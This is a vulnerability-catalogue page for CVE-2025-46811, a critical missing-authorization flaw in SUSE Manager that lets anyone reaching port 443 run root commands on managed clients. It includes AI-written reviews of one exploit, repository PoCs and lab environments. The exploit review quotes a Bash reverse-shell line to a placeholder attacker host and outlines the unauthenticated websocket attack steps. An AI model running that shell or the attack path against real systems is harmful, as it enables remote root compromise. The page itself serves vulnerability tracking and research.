CVE-2025-46811

CRITICAL

SUSE Multi Linux Manager allows code execution via unprotected websocket endpoint

Title source: CVE List
Search associated code STIX 2.1 vulnerability STIX 2.1 with PoCs

Record summary

CVE-2025-46811 has a selected CVSS score of 9.3 (critical); EIP currently links 1 catalogued exploit, 2 repository PoCs, and 3 lab environments.

Description

A Missing Authorization vulnerability in SUSE Linux Manager allows anyone with the ability to connect to port 443 of SUSE Manager is able to run any command as root on any client. This issue affects Container suse/manager/5.0/x86_64/server:5.0.5.7.30.1: from ? before 5.0.27-150600.3.33.1; Image SLES15-SP4-Manager-Server-4-3-BYOS: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE: from ? before 4.3.87-150400.3.110.2; SUSE Manager Server Module 4.3: from ? before 4.3.87-150400.3.110.2.

Description source: CVE List

Exploitation context

Available material

Catalogued exploits
1
Repository PoCs
2
Lab environments
3

CISA SSVC decision

ExploitationNone
AutomatableYes
Technical impactTotal

CISA Coordinator · SSVC 2.0.3 · Evaluated Aug 2, 2025 · Source: CVE List

Affected products and versions

6
ProductSourceVersion range

Container suse/manager/5.0/x86_64/server:5.0.5.7.30.1

Browse SUSE / Container suse/manager/5.0/x86_64/server:5.0.5.7.30.1spacewalk-java

Default status: unaffected

CVE List? to < 5.0.27-150600.3.33.1affected

Image SLES15-SP4-Manager-Server-4-3-BYOS

Browse SUSE / Image SLES15-SP4-Manager-Server-4-3-BYOSspacewalk-java

Default status: unaffected

CVE List? to < 4.3.87-150400.3.110.2affected

Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure

Browse SUSE / Image SLES15-SP4-Manager-Server-4-3-BYOS-Azurespacewalk-java

Default status: unaffected

CVE List? to < 4.3.87-150400.3.110.2affected

Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2

Browse SUSE / Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2spacewalk-java

Default status: unaffected

CVE List? to < 4.3.87-150400.3.110.2affected

Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE

Browse SUSE / Image SLES15-SP4-Manager-Server-4-3-BYOS-GCEspacewalk-java

Default status: unaffected

CVE List? to < 4.3.87-150400.3.110.2affected

SUSE Manager Server Module 4.3

Browse SUSE / SUSE Manager Server Module 4.3spacewalk-java

Default status: unaffected

CVE List? to < 4.3.87-150400.3.110.2affected

Proofs of concept

3

Catalogued exploits

ExploitDBSUSE Manager 4.3.15 - Code ExecutionExploitDB exploitby wjmaj98Exploit1 file
ExploitDB
PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Python script that connects to an unauthenticated WebSocket endpoint on SUSE Manager/Uyuni, retrieves a list of managed minions, and sends a reverse shell command to execute arbitrary commands as root on a selected client.

Backdoor review

No backdoor observed in reviewed code

The PoC is a straightforward Python script that exploits CVE-2025-46811 by connecting to a vulnerable SUSE Manager/Uyuni WebSocket endpoint, listing available minions, and sending a user-supplied reverse shell command. No concealed, deceptive, or operator-directed harmful behavior beyond the advertised exploit functionality was observed.

ClassificationExploit
Model confidence98%
AuthenticationNot required
Languagespython
Target softwareSUSE ManagerUyuni
Attack typesremote code executionmissing authorization
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits the missing authorization vulnerability (CVE-2025-46811) by connecting to the vulnerable WebSocket endpoint without credentials and sending a command to execute a reverse shell on a remote client, which constitutes exploitation rather than mere detection or scanning.

exploits/multiple/webapps/52527.py:1exploits/multiple/webapps/52527.py:10-14exploits/multiple/webapps/52527.py:18exploits/multiple/webapps/52527.py:154-156

Requirements

  • Network access to the target SUSE Manager/Uyuni server on the specified port (default 443).exploits/multiple/webapps/52527.py:36-37
  • Attacker must have a listener ready to receive the reverse shell connection.exploits/multiple/webapps/52527.py:10-14
  • Python environment with websocket-client library installed.exploits/multiple/webapps/52527.py:7

Observed behavior

  • Resolves target hostname to IP address.exploits/multiple/webapps/52527.py:49-50
  • Establishes a WebSocket connection to payload withheld without authentication.exploits/multiple/webapps/52527.py:113-114
  • Sends a JSON message to preview available minions.exploits/multiple/webapps/52527.py:139
  • Receives and parses the list of minions from the server response.exploits/multiple/webapps/52527.py:66-78
  • Prompts the attacker to select a target minion interactively.exploits/multiple/webapps/52527.py:87-103
  • Sends a reverse shell command (sh -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1) to the selected minion via the WebSocket.exploits/multiple/webapps/52527.py:154-156
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell Payload
Payload withheldThe hardcoded payload template is a standard Bash reverse shell that connects back to the attacker's IP and port, consistent with the stated exploit purpose.exploits/multiple/webapps/52527.py:18
Websocket Endpoint
Payload withheldThe target WebSocket path matches the vulnerability description for unauthorized remote command execution.exploits/multiple/webapps/52527.py:114
Ssl Certificate Validation Disabled
Payload withheldSSL certificate verification is disabled, which is typical for PoC exploits targeting internal or test environments but could expose the attacker to MITM if used carelessly. This is not a backdoor.exploits/multiple/webapps/52527.py:134
Review boundaries

What the analysis did not establish

  • Analysis based solely on the provided Python script; no external dependencies or runtime behavior were verified.
  • The script's effectiveness depends on the target environment being vulnerable and the attacker's listener being correctly configured.
  • Only the single Python file (52527.py) was reviewed; no external dependencies or runtime environment were analyzed.
  • The review does not assess the safety or correctness of the exploit when executed against a live target.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Repository PoCs

GitHubb-L-x/CVE-2025-46811Repository PoCby b-L-x0Not analyzed7 files

83.8 KiB

GitHub
PoC details
GitHubszachovy/CVE-2025-46811-challengeRepository PoCby szachovy0Writeup28 files

69.5 KiB

GitHub
PoC details
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a repository providing a challenge environment for researching CVE-2025-46811. The supplied text files consist of a README with deployment instructions and a bash maintenance script. Neither file contains exploit code, scanner logic, or a substantive technical analysis of the vulnerability. The README describes the project as a 'security challenge environment' and provides setup instructions, while the maintenance script performs routine system updates via Salt. The artifact is classified as a writeup because it is a placeholder for vulnerability research, but it lacks the substantive technical analysis, exploit, or scanner code required for other classifications.

Backdoor review

No backdoor observed in reviewed code

The reviewed evidence consists of a README and a maintenance shell script for a CVE-2025-46811 challenge environment. The README describes setup and deployment steps for a SUSE Manager vulnerability research lab. The maintenance script performs legitimate system administration tasks (checking for updates via zypper and applying them via salt). No backdoor, deceptive payload, or concealed harmful behavior is present in the supplied text.

ClassificationWriteup
Model confidence90%
AuthenticationUnknown
LanguagesMarkdownShell
Target softwareSUSE Manager
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The supplied files are a README with setup instructions and a maintenance script. They do not contain exploit code, vulnerability scanning logic, or a substantive technical analysis. The artifact is a stub for a challenge environment, lacking the core components to be classified as an exploit, scanner, or writeup.

README.md:1-3src/uyuni-server/maintenance.sh:1-38

Requirements

  • The target VM must be running openSUSE with Python 3.11 installed and firewall disabled.README.md:23-35
  • The control node requires Ansible 12.3.0 and specific system packages.README.md:9-19

Observed behavior

  • The maintenance script checks if a Salt minion is reachable and, if so, runs a function to list and apply system updates.src/uyuni-server/maintenance.sh:23-33
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Command Execution
Payload withheldThe script uses eval on a constructed salt command. While eval can be dangerous if input is untrusted, the packages variable is derived from zypper list-updates output on the same host, not from external user input. This is a normal (if suboptimal) administrative pattern, not a backdoor.src/uyuni-server/maintenance.sh:33
Review boundaries

What the analysis did not establish

  • Only 2 of 28 files in the repository were provided as text. The remaining 26 files, which may contain the actual challenge, exploit, or analysis, were omitted.
  • The evidence coverage is incomplete; the classification is based solely on the supplied README and maintenance script.
  • Only 2 of 28 repository files were provided as text; 26 files were omitted. The omitted files could contain backdoor behavior not visible in this review.
  • Binary files were flagged but not analyzed; their content is unknown.
  • The artifact is a challenge environment for a known CVE; the review does not assess whether the environment itself is safe to deploy or whether the described vulnerability is accurately reproduced.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Docker lab environments

3
GitHub

src/leap-minion

szachovy/CVE-2025-46811-challengeCreated Vuln labCVE-2025-46811Dockerfile

1 Dockerfile

View exploit
Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A Dockerfile that builds an openSUSE Leap 15.6 image with systemd, salt-minion, and openssh, intended as a target for a CVE-2025-46811 vulnerability research challenge.

src/leap-minion/Dockerfile:1-96README.md:1-3

Lab assessment

Vulnerability lab

The README explicitly states the environment is a 'security challenge environment for CVE-2025-46811 vulnerability research' and provides deployment instructions for a control node and target VM, indicating a vulnerability reproduction exercise.

README.md:1-3
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

leap-minion Docker image

vulnerability research targetsalt-minion hostSSH server

Builds an openSUSE Leap 15.6 container with systemd, salt-minion, openssh, wget, hostname, and vi. Creates a user 'leap' and places a flag file /home/leap/user.txt. Disables bash history for root, leap, and /etc/skel. Runs systemd as the default command.

src/leap-minion/Dockerfile:1-96
CVE assessment

How the supplied evidence relates each vulnerability

CVE-2025-46811

Insufficient evidence

The README associates the environment with CVE-2025-46811, but no exploit code, vulnerability details, or CVE description is present in the supplied evidence. The Dockerfile and README do not demonstrate the vulnerability or its prerequisites.

README.md:1-3
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • Control node with Python 3.11, pip, sshpass, rsync, and Ansible 12.3.0 installed.README.md:7-15
  • Target VM running openSUSE with Python 3.11, disabled firewall, and network accessibility from the control node.README.md:17-29
  • Ansible collections installed from collections/requirements.yml.README.md:35-37

Evidence-described exercise path

  1. Set up the control node with required system packages and Ansible.README.md:7-15
  2. Configure the target VM with openSUSE, Python 3.11, and disabled firewall.README.md:17-29
  3. Install required Ansible collections.README.md:35-37
  4. Run the Ansible playbook against the target inventory.README.md:39-41
Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

The Dockerfile installs standard packages (systemd, salt-minion, openssh, wget, hostname, vi) and creates a flag file for a CTF-style challenge. No hidden or destructive commands, external connections, credential theft, or host escape mechanisms are present. The README describes a controlled lab deployment using Ansible and a VM snapshot, consistent with a vulnerability research exercise.

src/leap-minion/Dockerfile:1-96README.md:1-60
Review boundaries

What the analysis did not establish

  • No exploit code, Ansible playbooks, or inventory files are included in the evidence packet.
  • The CVE-2025-46811 description and vulnerability details are absent.
  • The Dockerfile alone does not demonstrate the vulnerability; the full lab setup requires external components not provided.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

GitHub

src/uyuni-server

szachovy/CVE-2025-46811-challengeCreated Vuln labCVE-2025-46811Dockerfile

1 Dockerfile

View exploit
Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A Dockerfile that extends an openSUSE-based Uyuni server image, installs a specific salt-master package from a SLE update repository, and configures systemd services (SSH, maintenance timer). A companion maintenance script uses Salt to check a 'leap-minion' and conditionally apply zypper updates. The repository README describes a security challenge environment for CVE-2025-46811 research, with deployment via Ansible or a VM snapshot.

src/uyuni-server/Dockerfile:1-77README.md:1-60src/uyuni-server/maintenance.sh:1-38

Lab assessment

Vulnerability lab

The README explicitly states 'A security challenge environment for CVE-2025-46811 vulnerability research' and provides deployment instructions for a control node and target VM. The Dockerfile and maintenance script appear to set up a Uyuni server with a specific salt-master version, consistent with a controlled vulnerability reproduction environment.

README.md:1-3
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

Uyuni Server Docker Image

Base image for the lab environment

Extends the official Uyuni server image. Installs a specific salt-master package from a SLE update repository, disables bash history, sets locale, creates a flag file /root/root.txt, and enables systemd services for SSH and a maintenance timer.

src/uyuni-server/Dockerfile:1-77

maintenance.sh

Maintenance script for Salt-managed minion updates

A bash script that checks if a Salt minion named 'leap-minion' is reachable, retrieves a list of system updates from the minion using zypper, and if updates are found, executes 'zypper update --no-confirm' on the minion via Salt. Logs output to /srv/shared-data/logs/maintenance.log.

src/uyuni-server/maintenance.sh:1-38

uyuni-maintenance.timer / uyuni-maintenance.service

Systemd timer and service for periodic maintenance

Systemd unit files (not fully shown in evidence but referenced in the Dockerfile) that trigger the maintenance script on a schedule. The Dockerfile creates a symlink to enable the timer.

src/uyuni-server/Dockerfile:67-72
CVE assessment

How the supplied evidence relates each vulnerability

CVE-2025-46811

Insufficient evidence

The README claims the environment is for CVE-2025-46811 research, but no CVE details, vulnerable component version, or exploit path are visible in the supplied evidence. The Dockerfile installs a specific salt-master package, but the relationship to the CVE is not demonstrated.

README.md:1-3
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • Control node with Python 3.11, pip, sshpass, rsync, and Ansible 12.3.0 installed.README.md:7-15
  • Target VM running openSUSE with Python 3.11, firewall disabled, and network accessible from control node.README.md:17-27
  • Ansible collections installed from collections/requirements.yml (not supplied).README.md:33-35
  • Inventory file (inventory.ini) and playbook (site.yml) present (not supplied).README.md:37-39

Evidence-described exercise path

  1. Set up control node with required packages and Ansible.README.md:7-15
  2. Prepare target VM with openSUSE, Python 3.11, and disabled firewall.README.md:17-27
  3. Install Ansible collections and run the playbook to deploy the environment.README.md:33-39
  4. Alternatively, start the provided VM snapshot and wait ~3 minutes for services.README.md:43-45
Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

The Dockerfile and script perform expected lab setup: installing packages, enabling services, and running a maintenance task that updates a Salt minion. No hidden, destructive, or externally connecting behavior is visible. The flag file /root/root.txt is a common CTF element. The script's use of 'eval' on minion-supplied package names is a potential risk within the lab context but is not hidden and appears part of the exercise.

src/uyuni-server/Dockerfile:1-77src/uyuni-server/maintenance.sh:1-38
Review boundaries

What the analysis did not establish

  • The CVE-2025-46811 details, vulnerable component, and exploit path are not provided in the evidence.
  • The Ansible playbook, inventory, and collection requirements are not included, so the full deployment behavior is unknown.
  • The maintenance script uses 'eval' on minion-supplied data, which could be a vulnerability demonstration but is not confirmed.
  • The Dockerfile installs a specific salt-master version, but the reason (vulnerable version) is not stated.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

GitHub

src/uyuni-login

szachovy/CVE-2025-46811-challengeCreated Vuln labCVE-2025-46811Dockerfile

1 Dockerfile

View exploit
Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A Dockerfile that builds a Python 3.11-slim image, installs Playwright, copies a login.py script, and sets it as the entrypoint. The README describes a CVE-2025-46811 challenge environment requiring an Ansible control node and a target openSUSE VM, but the Dockerfile itself is a standalone component with no explicit connection to the VM or Ansible in its instructions.

src/uyuni-login/Dockerfile:1-49README.md:1-60

Lab assessment

Vulnerability lab

The README explicitly states the repository is a 'security challenge environment for CVE-2025-46811 vulnerability research' and provides deployment instructions for a target VM and Ansible control node. The Dockerfile builds a container that includes Playwright, a browser automation tool, which is consistent with a vulnerability research lab targeting a web-based login system (uyuni-login).

README.md:1-3
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

uyuni-login container

vulnerability research toolbrowser automation executor

A Docker container based on python:3.11-slim that installs Playwright and its dependencies, copies a login.py script, and runs it as the entrypoint. The script is not provided, but the container's purpose is to interact with a target system, likely the openSUSE VM mentioned in the README, using browser automation.

src/uyuni-login/Dockerfile:1-49
CVE assessment

How the supplied evidence relates each vulnerability

CVE-2025-46811

Insufficient evidence

The README claims the environment is for CVE-2025-46811 research, but no details about the vulnerability, its affected software, or how the provided components relate to it are included. The Dockerfile and README do not contain any exploit code, vulnerable application, or CVE description to support or contradict the association.

README.md:1-3
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • A control node with Python 3.11, pip, sshpass, rsync, and Ansible 12.3.0 installed.README.md:7-15
  • A target VM running openSUSE with Python 3.11 installed, firewall disabled, and network accessible from the control node.README.md:17-29
  • Ansible collections installed via ansible-galaxy from collections/requirements.yml.README.md:35-37
  • The Docker container must be built from the provided Dockerfile, which requires the missing login.py script in the build context.src/uyuni-login/Dockerfile:44-45

Evidence-described exercise path

  1. Set up the control node with required packages and Ansible.README.md:7-15
  2. Prepare the target openSUSE VM with Python 3.11 and disabled firewall.README.md:17-29
  3. Deploy the environment to the target VM using the Ansible playbook site.yml with the inventory.ini.README.md:33-41
  4. Alternatively, start the provided VM snapshot and wait approximately 3 minutes for services to become available.README.md:45-48
  5. Build and run the uyuni-login Docker container, which executes login.py to interact with the target system, presumably to exercise the vulnerability.src/uyuni-login/Dockerfile:44-48
Safety-review evidence

Behaviors behind the stored safety assessment

Insufficient evidence

The Dockerfile installs Playwright and runs an uninspected login.py script. Without the script's content, it is impossible to determine whether the container's behavior is confined to the intended lab target or if it performs any harmful actions such as host escape, data exfiltration, or backdoor installation. The README describes a lab setup but does not provide the script or any details about its operations.

src/uyuni-login/Dockerfile:44-48

Indicators requiring review

  • The Dockerfile copies and executes an uninspected login.py script, which could contain arbitrary code beyond the stated vulnerability research purpose.src/uyuni-login/Dockerfile:44-48
Review boundaries

What the analysis did not establish

  • The login.py script is not included in the evidence packet, so its behavior cannot be assessed.
  • The Ansible playbook, inventory, and collections requirements are referenced but not provided, preventing full understanding of the deployment.
  • No details about CVE-2025-46811 are present, making it impossible to verify the vulnerability association or the intended exploit path.
  • The relationship between the Docker container and the target VM is not defined in the supplied files.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

References

2